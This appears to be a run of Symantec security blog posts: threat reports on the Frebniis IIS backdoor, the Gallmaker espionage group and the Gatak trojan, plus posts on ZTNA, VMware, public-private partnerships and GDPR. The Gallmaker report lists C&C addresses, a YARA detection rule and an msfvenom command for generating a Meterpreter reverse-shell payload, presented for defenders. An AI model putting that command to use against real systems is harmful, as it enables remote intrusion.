By hijacking and modifying IIS web server code, Frebniis is able to intercept the regular flow of HTTP request handling and look for specially formatted HTTP requests. These requests allow remote code execution and proxying to internal systems in a stealthy manner. No files or suspicious processes will be running on the system, making Frebniis a relatively unique and rare type of HTTP backdoor seen in the wild.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
6464f9a5da26aa53fb2221255e908fd4da8edf0633f94051beee74a14b9b001c – Backdoor.Frebniis
b81c177c440e84635f22dc97b0411de93a24a983a41af676ffbbb4439487aaef – Backdoor.Frebniis
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From IDC: Rethinking Customer Relationships for Broadcom's Acquisition of VMware
Driving a Strategic Partnership
A recently published IDC Market Note, Rethinking Customer Relationships for Broadcom's Acquisition of VMware*, shares insights on how Broadcom and VMware customers should think about their relationship moving forward.
Key Takeaways from IDC:
Customers and partners should not assume that prior practices applied to the former CA Technologies and Symantec Enterprise Security organizations will be applied to the current VMware organization. VMware is unique when compared to those two assets.
While there may be changes to VMware’s business functions upon closure, a focus on growth and customer demands will be core to decision making in the combined company.
Customers and partners that make opinion-based decisions using incorrect assumptions face losing the potential growth advantages that the combined portfolio offers.
Over the long term, the success and growth of Broadcom’s software business will hinge heavily on the continued success of VMware’s current product and ecosystem.
Broadcom and VMware customers should double down on their relationships with these vendors by focusing on communications, product planning and roadmaps, with a move towards a strategic business partnership.
- Stephen Elliot, IDC
According to IDC, “A deal of this size and magnitude requires a plethora of decision making across every business function to optimize successful outcomes; at this point no one knows exactly what will happen when the deal closes. What’s important as a customer is to understand that VMware is significantly different than past Broadcom software acquisitions (i.e. CA Technologies and Symantec Enterprise Security).” The report goes on to recommend that businesses make sure they are considering the public facts communicated from Broadcom and VMware that are shaping the deal as they make their decisions about either vendor.
We encourage you to read the full report here.
*IDC, Rethinking Customer Relationships for Broadcom's Acquisition of VMware: Using Facts to Drive a Strategic Partnership, August 2022, DOC# US49568722
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From Symantec’s ZTNA Team: Planning to Replace Your VPN?
Enterprises are moving to ZTNA as they replace their VPNs: It’s only one piece of the puzzle
The data shows that the pandemic might be finally subsiding. So, maybe you are evaluating your remote worker policy and how effectively you are able to support future transitions between office and home work. Maybe you felt some frustration with managing your organization’s VPN and wondering if there is a better way.
The purpose of a VPN was always to allow users to remotely access corporate applications and data that were kept inside the traditional corporate network. Originally this was designed with an assumption: It was intended to only be used by a few users whose situations placed them outside of the office and the corporate network.
Then came Covid. Overnight the world flipped upside down and suddenly, everyone was using the VPN. And no surprise: the resulting user and admin experience was – terrible.
It’s no secret that VPNs are notoriously inefficient. Since they were intended for a small percentage of users, it was never really designed for security that could scale. It was hard to imagine the problems that would ensue by forcing massive numbers of VPN users to go through traffic backhaul backflips for security.
VPNs need to provide validation. Users trying to access a corporate app over a VPN must send their user credentials to the network and then back out again. It’s a clumsy process that creates frustration and begs some users to look for a workaround. The inconvenience invites subversion and opens the enterprise to a potential security lapse. Many believe that by moving to Zero Trust Network Access (ZTNA) they can solve all of that. They would be wrong.
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Future of Public-Private Security Partnerships Still in Doubt
While there’s widespread agreement the two sides can - and should - help each other combat cyber security threats, progress toward closer cooperation remains slow
One of the most obvious and effective ways to curb increasing cyber security threats is for the private sector to join forces with public institutions to orchestrate a coordinated response. Yet despite clear support for such an approach, conflicting agendas and disagreements over standards have left obstacles on the path to create more fruitful public-private partnerships.
Given the surge in cyber security incidents and the diversity and complexity of the ever-expanding threat landscape, experts say it’s become an imperative for private companies, government, and technology providers to share data and collaborate on standards and solutions. Moreover, the target of state-sponsored attacks is increasingly not just clandestine government databases, customer data, or corporate intellectual property (IP), but rather, critical infrastructure like the energy grid, water supply, and financial apparatus—all entities predominantly owned by private enterprise.
Rallying both public and private troops has the greatest potential for minimizing such cyber threats because each brings a different set of knowledge, resources, and problem-solving skills to the fight, according to Bill Wright, director, government affairs and senior policy counsel at Symantec.
“Oftentimes, government has a different footprint on what visibility they have into threats and that’s complemented by the private sector’s footprint and visibility,” he said. “You combine the two and you get a much fuller picture of what the threat looks like.”
Wright pointed to the recent Dragonfly series of attacks on the global energy sector to illustrate the power of public-private sector collaboration for revealing patterns that wouldn’t be visible to any one company - in this case, that phishing attacks weren’t directed at individual targets, but instead were aimed at using those targets to disrupt the broader energy supply chain and ecosystem.
At the same time, more formal and consistent information sharing practices between government and the private sector can help individual companies avoid questionable practices and make better decisions, noted Megan Reiss, senior national security fellow at R Street Institute, a non-profit think tank focused on domestic policy. Specifically, Reiss pointed to recent reports that Facebook had entered into data-sharing partnerships with at least four Chinese electronics companies, including telecommunications giant Huawei, which has been identified by the U.S. government as a potential national security threat.
“A better public-private partnership between the government intelligence community and Facebook might have helped the firm make a different decision about who they go into business with,” she said. “It could prevent any bad publicity that they appear to be in bed with a bad actor.”
All Together Now
With so much to gain, why have public-private security partnerships been slow to form with limited results? The reason is twofold: Companies still carry misperceptions about the real security problem, and public-private entities have diverging standards for what constitutes adequate safeguards, according to Larry Clinton, president and CEO of the Internet Security Alliance.
“There’s a lot of focus on corporate malfeasance, but the real problem isn’t corporations stealing from consumer - it’s bad guys attacking government, companies, and consumer - we are all on the same side and we’re all using the same systems,” according to Clinton. “We need to collectively figure out a way to create a sustainable system out of something that is inherently vulnerable.”
Companies and government should be working together to create and integrate advanced technologies to shore up enterprise network and Internet security, but they also need to focus on economics and policy issues to create a sustainable system of cyber security. That becomes difficult to do because the private sector has a higher risk tolerance compared to government entities, which have to operate within much higher safeguards to meet national security guidelines, he explains.
To bridge the gap, Clinton advocates for things like tax and other economic incentives that encourage data sharing or implementing technologies that adhere to national security level-standards. “If you’re building an Internet of Things (IoT) product and you use state-of-the-art encryption, perhaps it’s a fast track for getting patents approved,” he said. “With some creativity and work, we can remake the system and provide economic incentives that don’t bankrupt government.”
Tech companies should also step it up and work more effectively to share data and pool resources to attack the problem. To that end, Symantec’s Wright says there has been significant progress made, pointing to initiatives like the Cyber Security Threat Alliance, which Symantec co-founded, as an industry model for information sharing. Symantec also opened up a new privacy research center in Saarbrücken, Germany, working with public and private partners to empower customers to have more ownership over their personal information.
“We have come a long, long way, just going back three or four years in terms of sharing information,” said Wright, while acknowledging the need for better collaboration with government. “We’re still not sharing information or partnering with government as we should be,” he says. “It’s probably a matter of trust more than anything else.”
If you found this information useful, you may also enjoy:
Ex-cyber chiefs of U.S., Israel Decry Threat Disconnect
Taking Stock of the Changing Threat Landscape, Circa 2018
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Gaining 8-Figure Efficiency From Cyber Security
A Secret Unveiled for the CISO
Many of the largest companies in the world run call centers to service their customers – think any airline, financial services firm, wireless carrier. These operations are extremely expensive. For large multinational corps such as AT&T, American Express, and Delta, the call center operating expense (“opex”) could exceed $1B.
We’ve all likely had good and bad experiences when calling into or chatting with one of these providers. There are two things that have likely frustrated you the most:
“I’m on hold too long!” (no matter how great the music or advertising is)
“After all these years, they still don’t know me.” (They ask for the same information repeatedly)
There’s a way for a cyber security solution to deliver both on it’s primary objective and reduce millions in cost.
… if the solution reduced the time on hold and identity validation by ~90 secs, then that company would save more than 10 million annually (and improve the privacy of their customer).
Take the following scenario.
Sally Smith calls into her wireless carrier to inquire about her bill. She gets the usual voice recording, press 1 for this and 2 for that. Then she is asked to validate her identity likely asking for her birthdate, address or with a passcode (that she likely can’t remember). She waits a minute or two, gets a live agent and then the agent proceeds to validate her identity. The identity validation process can take 30 secs or more. When a company like a wireless carrier is processing 15 million + calls per month, seconds count. If the call is in a public area, customers can be uncomfortable providing such information.
The good news, there is an alternative.
A New Way to Apply Proven Technology
Multi-factor authentication is a way to use a customer’s mobile phone to validate their identity. There are thousands of companies using it, but I have seen few utilize it or market it to improve three (3) important things for them and their customer:
Reduce the amount of time a customer remains on hold
Leverage digital methods to validate identity
Protect the customer’s privacy
The call center experience below, in my view, would set the standard for a secure, protected customer experience.
This works through leveraging the company’s existing app such as myATT or Amex Mobile. The tech simply gets embedded into their app and that unleashes all the identity validation and security magic in the background.
To the customer, when they called, it would look something like this:
For the company employing it, based on their call volume, if it reduced the time on hold and identity validation by ~90 secs, then that company could cut $10+ million out of their operating expenses. It also would improve their own identity as a secure provider of their own services, thereby driving positive net promoter scores (eg brand). Best of all, it does not require a large budget item bc/ the CISO should be able to negotiate a pay for performance model with their security provider with little up-front costs.
There are many other vertical use cases for cyber security that are left untapped that are soft on the security budget and better justified by other metrics that are critical to a corporation’s health. To learn more, contact Symantec and see how this use case applies to your organization.
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Gallmaker: New Attack Group Eschews Malware to Live off the Land
A new attack group is targeting government, military, and defense sectors in what appears to be a classic espionage campaign.
UPDATE October 11, 2018
This blog has been updated with a revised list of IoCs. An earlier list of IOCs attached to this blog was generated through an automated system and, due to the dual-use nature of the tools used by the group, erroneously included some low fidelity IoCs.
Symantec researchers have uncovered a previously unknown attack group that is targeting government and military targets, including several overseas embassies of an Eastern European country, and military and defense targets in the Middle East. This group eschews custom malware and uses living off the land (LotL) tactics and publicly available hack tools to carry out activities that bear all the hallmarks of a cyber espionage campaign.
"#Gallmaker eschews custom malware, uses living off the land and publicly available hack tools https://symc.ly/2RBkaR8"
CLICK TO TWEET
The group, which we have given the name Gallmaker, has been operating since at least December 2017, with its most recent activity observed in June 2018.
Tactics and tools
The most interesting aspect of Gallmaker’s approach is that the group doesn’t use malware in its operations. Rather, the attack activity we observed is carried out exclusively using LotL tactics and publicly available hack tools. The group takes a number of steps to gain access to a victim’s device and then deploys several different attack tools, as follows:
The group delivers a malicious Office lure document to victims, most likely via a spear-phishing email.
These lure documents use titles with government, military, and diplomatic themes, and the file names are written in English or Cyrillic languages. These documents are not very sophisticated, but evidence of infections shows that they’re effective. The attackers use filenames that would be of interest to a variety of targets in Eastern Europe, including:
bg embassy list.docx
Navy.ro members list.docx
These lure documents attempt to exploit the Microsoft Office Dynamic Data Exchange (DDE) protocol in order to gain access to victim machines. When the victim opens the lure document, a warning appears asking victims to “enable content” (See Figure 1). Should a user enable this content, the attackers are then able to use the DDE protocol to remotely execute commands in memory on the victim’s system. By running solely in memory, the attackers avoid leaving artifacts on disk, which makes their activities difficult to detect.
Once the Gallmaker attackers gain access to a device, they execute various tools, including:
WindowsRoamingToolsTask: Used to schedule PowerShell scripts and tasks.
A "reverse_tcp" payload from Metasploit: The attackers use obfuscated shellcode that is executed via PowerShell to download this reverse shell.
A legitimate version of the WinZip console: This creates a task to execute commands and communicate with the command-and-control (C&C) server. It’s likely this WinZip console is used to archive data, probably for exfiltration.
The Rex PowerShell library, which is publicly available on GitHub, is also seen on victim machines. This library helps create and manipulate PowerShell scripts for use with Metasploit exploits.
Gallmaker is using three primary IP addresses for its C&C infrastructure to communicate with infected devices. There is also evidence that it is deleting some of its tools from victim machines once it is finished, to hide traces of its activity.
Figure 1. An example of the type of warning displayed by the lure document
The DDE protocol can be used for legitimate purposes to send messages between Microsoft applications that share data through shared memory, e.g. to share data between Excel and Word.
However, the DDE protocol was flagged as unsecure last year, when researchers discovered it could be exploited to execute code on victim machines via Excel and Word, without macros being enabled in those applications. Microsoft said at the time that this capability was a feature and the company did not consider it a vulnerability because Office always warned users before enabling DDE in documents, as seen in Figure 1. However, after the DDE protocol was subsequently exploited in a number of malware campaigns, Microsoft issued an update to Office in December 2017 that disabled DDE by default in Word and Excel. DDE can be enabled manually after this update is applied but only if the registry is altered by an admin account.
The Gallmaker victims we have seen did not have this patch installed and therefore were still vulnerable to exploit via the DDE protocol.
Targets and timeline
Gallmaker’s activity appears to be highly targeted, with its victims all related to government, military, or defense sectors. Several targets are embassies of an Eastern European country. The targeted embassies are located in a number of different regions globally, but all have the same home country.
The other targets we have seen are a Middle Eastern defense contractor and a military organization. There are no obvious links between the Eastern European and Middle Eastern targets, but it is clear that Gallmaker is specifically targeting the defense, military, and government sectors: its targets appear unlikely to be random or accidental.
Gallmaker’s activity has been quite consistent since we started tracking it. The group has carried out attacks most months since December 2017. Its activity subsequently increased in the second quarter of 2018, with a particular spike in April 2018.
Figure 2. Gallmaker activity, December 2017 to June 2018
Gallmaker’s activity points strongly to it being a cyber espionage campaign, likely carried out by a state-sponsored group.
Gallmaker may well have continued to avoid detection were it not for Symantec’s Targeted Attack Analytics (TAA) technology.
How did we discover Gallmaker?
The fact that Gallmaker appears to rely exclusively on LotL tactics and publicly available hack tools makes its activities extremely hard to detect. We have written extensively about the increasing use of LotL tools and publicly available hack tools by cyber criminals. One of the primary reasons for the increased popularity of these kinds of tools is to avoid detection; attackers are hoping to “hide in plain sight”, with their malicious activity hidden in a sea of legitimate processes.
Gallmaker may well have continued to avoid detection were it not for Symantec’s Targeted Attack Analytics (TAA) technology. TAA combines the capabilities of Symantec’s world-leading security experts with advanced artificial intelligence and machine learning to provide organizations with their own “virtual analysts”, via our Advanced Threat Protection (ATP) product. Since its inception, TAA has detected security incidents at thousands of organizations, automating what would have taken many hours of analyst time. In this instance, TAA identified the specific PowerShell commands used by Gallmaker as being suspicious, leading to the discovery of this new campaign. Without TAA’s advanced AI-based capabilities, Gallmaker’s activities may well have remained undetected.
Protection
The following protections are in place to protect customers against Gallmaker attacks:
System Infected: Meterpreter Reverse TCP
W97M.Downloader
Network protection products also detect activity associated with Gallmaker.
Indicators of Compromise
The following indicators are specific to Gallmaker:
Network
111[.]90.149.99/o2
94[.]140.116.124/o2
94[.]140.116.231/o2
Filenames
bg embassy list.docx
Navy.ro members list.docx
БГ в чуждите медии 23.03.2018-1.docx
[REDACTED] and cae join forces to develop integrated live virtual constructive training solutions.docx
А-9237-18-brasil.docx
Gallmaker also used tools that were available in open source projects. Yara rule and methods shared below were used by Gallmaker but aren't exclusive to the group's activity. Detection of these in one's environment is only indicative of possible unauthorized activity. Each occurrence of triggers must be examined to determine intent.
rule Suspicious_docx
{
meta:
copyright = "Symantec"
family = "Suspicious DOCX”
group = "Gallmaker"
description = "Suspicious file that might be Gallmaker”
strings:
$quote = /<w:fldSimple w:instr=" QUOTE (( [^"]+)* [0-9]
{2,3}
)
{4}
/
$text = "select \"Update field\" and click \"OK\""
condition:
any of them
}
Use of Rex Powershell - https://github.com/rapid7/rex-powershell
Use of obfuscated shellcode executed via PowerShell to download a "reverse_tcp" payload from Metasploit
onto victim systems. For example, msfvenom -p windows/meterpreter/reverse_tcp -o payload.bin
Further reading
To find out more about TAA, read our whitepaper: Targeted Attack Analytics: Using Cloud-based Artificial Intelligence for Enterprise-Focused Advanced Threat Protection.
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Gatak: Healthcare organizations in the crosshairs
Group has diversified and attacks are now taking place against organizations in a broad range of countries.
The group behind the Gatak Trojan (Trojan.Gatak) continues to pose a threat to organizations, with the healthcare sector in particular heavily affected by attacks. Gatak is known for infecting its victims through websites promising product licensing keys for pirated software. While the group focused on US targets, it has diversified over the past two years and attacks are now taking place against organizations in a broad range of countries.
Healthcare still the most affected
The majority of Gatak infections (62 percent) occur on enterprise computers. Analysis of recent enterprise attacks indicates that the healthcare sector is by far the most affected by Gatak. Of the top 20 most affected organizations (organizations with the most infected computers), 40 percent were in the healthcare sector. In the past, the insurance sector was also heavily targeted by the group.
Figure 1. Sectoral breakdown of most heavily infected organizations
Keygen website used to lure unsuspecting victims
Gatak victims are infected using websites offering product key generators or “keygens” for pirated software. The malware is bundled with the product key and, if the victim is tricked into downloading and opening one of these files, the malware is surreptitiously installed on their computer.
Figure 2. Malicious keygen website offering product key for pirated versions of SketchList3D. Visitors who download a key will be infected with Gatak.
The attackers appear to focus on offering product keys for software that is more likely to be used in professional environments. The websites used in the attacks are controlled by the attackers and have no connection with the developers of the software. At no point are legitimate versions of software compromised. Among the software brands used as lures were:
SketchList3D (woodworking design software)
Native Instruments Drumlab (sound engineering software)
BobCAD-CAM (metalworking/manufacturing software)
BarTender Enterprise Automation (label and barcode creation software)
HDClone (hard disk cloning utility)
Siemans SIMATIC STEP 7 (industrial automation software)
CadSoft Eagle Professional (printed circuit board design software)
PremiumSoft Navicat Premium (database administration software)
Originlab Originpro (data analysis and graphing software)
Manctl Skanect (3D scanning software)
Symantec System Recovery (backup and data recovery software; now part of Veritas)
The product keys downloaded from these websites do not work and simply generate pseudo-random sequence of characters. This means all the victim gets from the download is a junk file and a potential Gatak infection.
Malware tools
The Gatak Trojan (aka Stegoloader) has been used in attacks since at least 2011. There are two main components of the malware. A lightweight deployment module (Trojan.Gatak.B) can perform detailed system fingerprinting on infected computers and selectively install additional payloads. The main module (Trojan.Gatak) is a fully fledged back door Trojan, which maintains a persistent presence on an infected computer and steals information from it.
A notable feature of Gatak is its use of steganography, a technique for hiding data within image files. When Gatak is installed on a computer, it attempts to download a PNG image file from one of a number of URLs hardcoded into the malware. The image looks like an ordinary photograph, but contains an encrypted message within its pixel data. The Gatak Trojan is capable of decrypting this message, which contains commands and files for execution.
Movement across compromised networks
In approximately 62 percent of incidents, lateral movement across the victim’s network occurs within two hours of infection. In the remaining cases, lateral movement began at some point after the two hour mark. The variance indicates that lateral movement isn’t automated and instead carried out manually by the attackers. Whether the attackers don’t have the resources to exploit all infections immediately or whether they prioritize some infections over others is unknown.
Little is known about how the attackers move across an organization’s network. The most likely explanation is that they exploit weak passwords and poor security in file shares and network drives. There is no evidence of zero-day exploits or sophisticated hacking tools being employed.
In some cases, the attackers have infected computers with other malware, including various ransomware variants and the Shylock (Trojan.Shylock) financial Trojan. In the case of Shylock, these appear to be older versions of the threat and might even be “false flag” infections. They may be used by the group when they believe their attack has been uncovered, in order to throw investigators off the scent.
Why healthcare?
Little is known about the group behind Gatak, although the corporate nature of its targets, along with the absence of zero-day vulnerabilities or advanced malware modules suggest that it may be cybercriminal in nature, however there are also capabilities within the malware for more traditional espionage operations.
It is unclear how Gatak is profiting from its attacks. One possibility is data theft, with the attackers selling personally identifiable information and other stolen data on the cyberunderground. This could explain the attackers’ heavy focus on the healthcare sector, with healthcare records usually selling for more than other personal information.
However, Gatak’s means of distribution, through keygen websites, indicates that the attackers may be more opportunistic. By using a watering-hole approach, the attackers play a largely passive role, with relatively little control over who is infected. If this is the case, the healthcare sector may simply be the most susceptible to these kinds of attacks.
Healthcare organizations can often be pressurized, under-resourced, and many use legacy software systems that are expensive to upgrade. Consequently, workers could be more likely to take shortcuts and install pirated software. While organizations in other sectors appear to be infected less frequently, the attackers don’t appear to ignore or remove these infections when they occur.
Ongoing vigilance required
Since it first appeared five years ago the Gatak group has carried out a steady stream of attacks and the Trojan represents a serious threat to any organization, particularly in the healthcare sector. Gatak provides a timely reminder that the use of pirated software can compromise security in addition to creating legal issues for an organization. Along with using a robust security solution, organizations should regularly audit the software used on their network and educate staff about the dangers of using pirated or unapproved software.
Protection
Symantec and Norton products protect against this threat with the following detections:
Antivirus:
Trojan.Gatak
Trojan.Gatak!gen
Trojan.Gatak!gen1
Trojan.Gatak!gen3
Trojan.Gatak!gen4
Trojan.Gatak!gen5
Trojan.Gatak!gen6
Trojan.Gatak!gen7
Trojan.Gatak!gm
Trojan.Gatak.B
Intrusion prevention system:
System Infected: Trojan.Gatak
System Infected: Trojan.Gatak.B Activity
System Infected: Trojan.Gatak.B Activity 2
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GDPR: A New Era in Privacy and Data Protection
Symantec places the highest priority on data privacy and security
In an increasingly digitized world, privacy has become one of the defining issues of our time, with far reaching implications for business and society. Since data security is a precursor to data privacy, Symantec plays a pivotal role in shaping the global privacy landscape.
Today, the European Union’s (EU’s) General Data Protection Regulation (GDPR) becomes enforceable, ushering in a new dawn for data privacy and security. At its core, GDPR is designed to give EU citizens more control over their data. It sets out principles and guidelines for companies to adhere to when managing the data of EU citizens, and imposes stiff penalties for non-compliance.
As the world's leading cyber security company, we welcome GDPR—securing data is in our DNA and is essential to building trust with our many customers. Symantec has taken the necessary steps to ensure we are prepared. (Read More Here)
So, while legal compliance with global regulations such as GDPR is an important part of Symantec's privacy focus, we believe that it is our duty to continuously improve and mature our global privacy program and capabilities while establishing and incorporating industry-leading practices. For example, we must continue to:
Provide thought leadership to help frame and set the direction for emerging and future privacy and data protection regulations in the EU and elsewhere.
Evolve our program to incorporate new and changing legal and regulatory obligations stemming from the EU and other jurisdictions. (You can read about what we have done on our Privacy page.)
Build on the foundation we have laid with our GDPR preparedness activities and operationalize our program to ensure we can implement scalable, repeatable, and sustainable processes and solutions.
Deliver products and services that add value to our customers by enabling them to protect personal information and stay compliant with evolving privacy regulations.
As Vice President of Symantec’s Global Privacy Office, I have written this blog to share privacy and data protection information with you and to spark conversation. Going forward, I expect to post more blogs on a periodic basis. Topics may include emerging legal and regulatory updates and changes, industry-leading trends in privacy and data protection, and further enhancements to our own program from both external and internal perspectives.
I also will share insights I’ve gained based on my own privacy journey leading up to and beyond the GDPR enforcement date. It’s been an amazing experience and I look forward to sharing some of the details with you in the future. (And on a related note, Symantec offers various products and services that can help you with GDPR compliance—see below for some recent relevant links.)
I hope you will bookmark this page and participate in the dialogue. Want to help shape our discussion going forward? We’d love to hear from you.
How is your company preparing for GDPR compliance or strengthening privacy practices? What are your thoughts on new data protection regulations? Send feedback to [email protected]. For more information on how Symantec is safeguarding your privacy, visit our Privacy portal.
If you found this information helpful you may also enjoy:
IDC: Why GDPR Will Be a “Game-Changer”
IDC GDPR Assessment
Takeaways About GDPR
GDPR: Cyber Security and the Law Team Up to Protect Data Privacy
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GDPR: Cyber Security and the Law Team Up to Protect Data Privacy
Data privacy, and the role of consent, are about to step into the limelight in a very big way. Here’s what it means to you
Time and again, questions around the protection of data privacy force their way onto center stage. Not every data privacy problem involves a violation of consent. But when it does, the people affected—not to mention the interested government and regulatory bodies—are wont to register their displeasure in very public fashion.
Even in our increasingly digitized world, there’s an assumption held by many people that granting or withholding consent is one of the few remaining levers they can use to control their online exposure. What they’ve learned to their dismay is that’s not always the case.
Data privacy, and the role of consent, are about to step into the limelight once more—and in a very big way. The EU’s General Data Protection Regulation (GDPR) takes effect on May 25 and the way it characterizes consent could be a game-changer.
But just as not every data privacy violation involves a disregard for consent, companies will not need to rely on consent every time to ensure GDPR compliance. Under the GDPR, your company can lawfully process personal data so long as you adhere to one of six available legal bases. One of those is Consent.
Some companies will need to operate based on Consent while others won’t. It’s likely that businesses will exercise a mix of legal bases, and most will need to rely on Consent for some processing as a last resort.
If Consent is the legal base chosen for a certain personal data processing, the GDPR states that the individuals involved (“data subjects”) must give their consent unambiguously, separately from other terms and conditions, and via a clear affirmative action (opt-in). The GDPR requires they be told the purposes for which their data is collected, and requires separate consent for separate uses of the same data.
Most significantly, the GDPR gives individuals the specific right to withdraw consent at any time (and requires they be told about this right and be given an easy way to exercise it). “If individuals revoke consent, your company no longer has that legal basis for processing their personal data,” according to Ilias Chantzos, Senior Director of Symantec's Government Affairs programs for Europe, Middle East & Africa as well as the Asia Pacific and Japan. “Which tells us that Consent is the least desirable legal basis for processing because it can be revoked by the data subject any time, in other words, the company has no control over it.”
Also, from a company’s perspective, relying on Consent comes with certain data management burdens, including:
Keeping a record of who’s given consent—and when, how, to what, and where it was given
Periodically reviewing how personal data is being used—and, if anything changes, seeking fresh consent
Creating a system for fully and quickly acting on consent withdrawals
As the UK Information Commissioner’s Office (ICO) own website states: “The GDPR sets a high standard for consent. But you often won’t need consent. If consent is difficult, look for a different lawful basis.”
The GDPR offers five other lawful bases for processing personal data:
Contractual Necessity: Processing is necessary due to the fulfillment of a contract.
Legal Obligation: Processing is necessary to comply with the law.
Vital Interest: Processing is necessary to save or protect an individual’s life.
Public Interest: Processing is necessary to fulfill a public interest in official functions. (Only applies to governmental agencies/entities.)
Legitimate Interest: Processing is necessary to the legitimate interests of an organization or a third-party affiliate.
Although Consent is listed in the GDPR legislation as the first legal basis for processing, companies should rely on it only when every other basis is exhausted and not applicable. For instance, when it comes to marketing activities companies have no control over the wishes of their target audience. And for good reason - from a consumer point of view. As a matter of fact, one of the rationales behind the legislation is that too many companies have used - and abused -individual personal data for less than appropriate purposes.
The GDPR might succeed in bring that to an end, creating a fairer environment and leveling ‘tensions’ between the two camps.
If you found this information useful, you may also enjoy:
Learn more at the Symantec GDPR microsite.
6 Things You Need to Know About the General Data Protection Regulation
Q&A: Ilias Chantzos discusses the data ramifications of GDPR
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GDPR Turns 1: Many Companies Still Not Ready
Companies still working to get their digital houses in order to comply with rules that offer promise of better governance and more transparency
A year after the European Union’s General Data Protection Regulation (GDPR) took effect, the question remains, are companies truly ready? The answer, as it turns out, is an equivocal ‘more or less’. One could say it is “by definition, more or less”, since the notion of “ready” or “compliant”, let alone a 100% completion percentage, does not exist in this discipline.
The GDPR enforces strict rules for businesses and most public sector agencies, to protect the personal data and privacy of consumers for transactions that occur within EU member countries. The mandate, which went into effect last May, sent organizations scrambling to get their data houses in order and had a reverberating effect internationally for any entity doing business in the EU. An Ovum report found that two-thirds of businesses expected to have to change their global business strategies to accommodate the new data privacy regulations while over half of companies surveyed anticipated fines for non-compliance.
As part of their response plans, companies have bulked up privacy teams, brought in new resources, including data protection officers, and invested on GDPR compliance, including on consulting, legal services and software. According to the International Association of Privacy Professionals (IAPP), Fortune 500 firms are spending $7.8 billion on GDPR compliance to avoid the threat of severe sanctions from EU member state regulators. The GDPR budget for the average Fortune 500 company is $16 million, the report found.
Despite the massive preparation, the IAPP survey found there is still a long road ahead. Less than half of respondents said they are fully compliant with GDPR and one in five said they believe that full compliance is impossible to measure. Making comprehensive changes to business practices was the top barrier to GDPR compliance, at 64%, in 2018 and the needle isn’t expected to have moved all that much in the year since implementation, IAPP found.
GDPR preparedness tends to boil down to two variables: maturity and ambition
While the situation around data governance has improved since GDPR came into effect, there is uneven implementation in different member states. GDPR preparedness tends to boil down to two variables: maturity and ambition. The ambition factor relates to issues like how much a company is willing to invest in GDPR and the appetite for risk they are ready to accept. Industry is another important indicator—for example, banks and other financial institutions are typically further along the curve with compliance activities and highly sensitive to risk, whether that includes the possibility of brand damage or substantive fines.
Other industries like health care may be militant about the integrity and safety of medical test equipment but have less mature practices when it comes to the rigor of safeguarding patient data. Small and mid-size companies still tend to think – wrongly – they are low enough on the stack that there is a slight chance of exposure.
Enforcement is Happening
To date, we still haven’t seen a tidal wave of GDPR enforcement cases, though that’s likely going to change as enforcement authorities receive more resources to carry out their work. Meanwhile, there are some high-profile exceptions that should make any company remaining on the sidelines to initiate action. The most significant penalty handed out to date came in January when the French data protection authority, the National Commission on Informatics and Liberty (CNIL), fined a major tech company $57 million for not properly disclosing to users how data is collected across services like its search engine and video channel to present personalized ads. They were also cited for not providing enough information to users about its data consent policies, and in general for forcing users into a convoluted reading through unnecessary multiple levels of the privacy notice.
DLA Piper, a multinational law firm, has counted nearly 60,000 disclosed data breaches across Europe in the first eight months of GDPR implementation, led by Germany, the United Kingdom, and the United States. However, so far, there have been fewer than 100 fines issued by regulators – including a 20,000 euro fine imposed by Germany on a company for failing to hash employee passwords and a 4,800 euro fine issued in Austria for the operation of an unlawful CCTV system that was capturing a public sidewalk.
There is definitely an appetite for regulators to gently “lead” the market to compliance. However, enforcement will happen, tempered by whether the culture of a particular geographic region or industry is partial to aggressive action or prefers a more forgiving approach.
Actions Steps Going Forward
Companies behind the curve need to accelerate their GDPR readiness but stay mindful that compliance is not a tick-box exercise nor is it possible to use paper or Excel spreadsheets to stay on top of the requisite controls.
On the other hand, technology is not the panacea. As opposed to point solutions or one particular technology fix, enterprises need to take a holistic approach to compliance and in particular, target data governance practices. It’s not enough to address accountability for data—organizations need to be able to demonstrate to the satisfaction of regulators and their customers that they have the proper steps in place to handle data, and that includes specific policies and practices for cyber security.
However onerous, there is an upside to the struggle. Companies that go through the process of GDPR spring cleaning and compliance will find they have better governance, more transparency into what’s happening in the organization, and in the end, a much clearer shot at better decision making.
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GDPR: Way Bigger than the EU and Looming Large
In a few months, the GDPR era kicks in so pay attention now. Your company may be affected – even if you’re not based in Europe
For the last year, Symantec and other cyber security companies have urged customers to prepare for the May 25, 2018 arrival of the General Data Protection Regulation (GDPR).
Yet with the new reality almost upon us, are companies in fact prepared for GDPR?
There has been no dearth of emails, written white papers, hosted webinars, sponsored events, web pages, ads and infographics, and more—all to raise awareness of the global impact of this new European Union (EU) framework for data protection laws. But the message is still not getting through.
“We predict that 80% of firms affected by GDPR will not comply with the regulation by May 2018,”
Forrester Research recently concluded in its “Predictions 2018: A year of reckoning” report. “Of those noncompliant firms, 50% will intentionally not comply—meaning they have weighed the cost and risk and are taking a path that presents the best position for their firms. The other 50% are trying to comply but will fail.”
Why would GDPR apply to your US-based company? If you’ve been holding back on GDPR compliance because you’re assuming that it won’t apply to your company, it’s past time to rethink that assumption.
Yes, GDPR is an EU initiative. But GDPR clearly departs from the data protection directive (95/36/EC) it replaces by expressly extending EU data protection laws to businesses outside the EU. And while the directive was applied inconsistently, EU member state by member state, the new ‘regulation’ automatically becomes part of each EU member state’s legal framework.
GDPR applies when a business ‘processes’ personal data (the EU notion of personally identifiable information) of anyone in the EU, for the purpose of offering them goods or services—whether there’s payment or not—or monitoring their behavior. This is true no matter where the company is based, or where the data is processed, or whether the data is collected or processed automatically or on demand.
GDPR even applies to companies that have no direct EU customers, but who may process EU personal data via their customers who, in turn, interact with people in the EU.
Register for 90 Days to GDPR Webinar Here
The particulars of activities targeted by GDPR are still a little fuzzy. For example, putting up a website that people in the EU can access is not likely, by itself, to constitute ‘offering [them] goods or services’ if the website is not clearly intended for EU use. On the other hand, if your website uses an EU language or EU currency or mentions EU customers, your company likely falls within GDPR’s purview.
GDPR applies to personal data collected on ‘data subjects who are in the Union.’ This suggests that GDPR protects the personal data of anyone ‘in the Union’ at the time their data is processed: EU citizens, residents, tourists, any other persons passing through; physical presence is key. The potential pool of affected data subjects is thus much larger than just EU citizens.
All this essentially makes GDPR a global law—one that applies to an extraordinarily broad swath of humanity and business.
OK. GDPR may apply to your US-based company. But what about enforcement?
You probably know that GDPR comes with onerous penalties: Offenders can be fined as much as 4 percent of total global revenues or €20 million (currently around $25 million), whichever is greater.
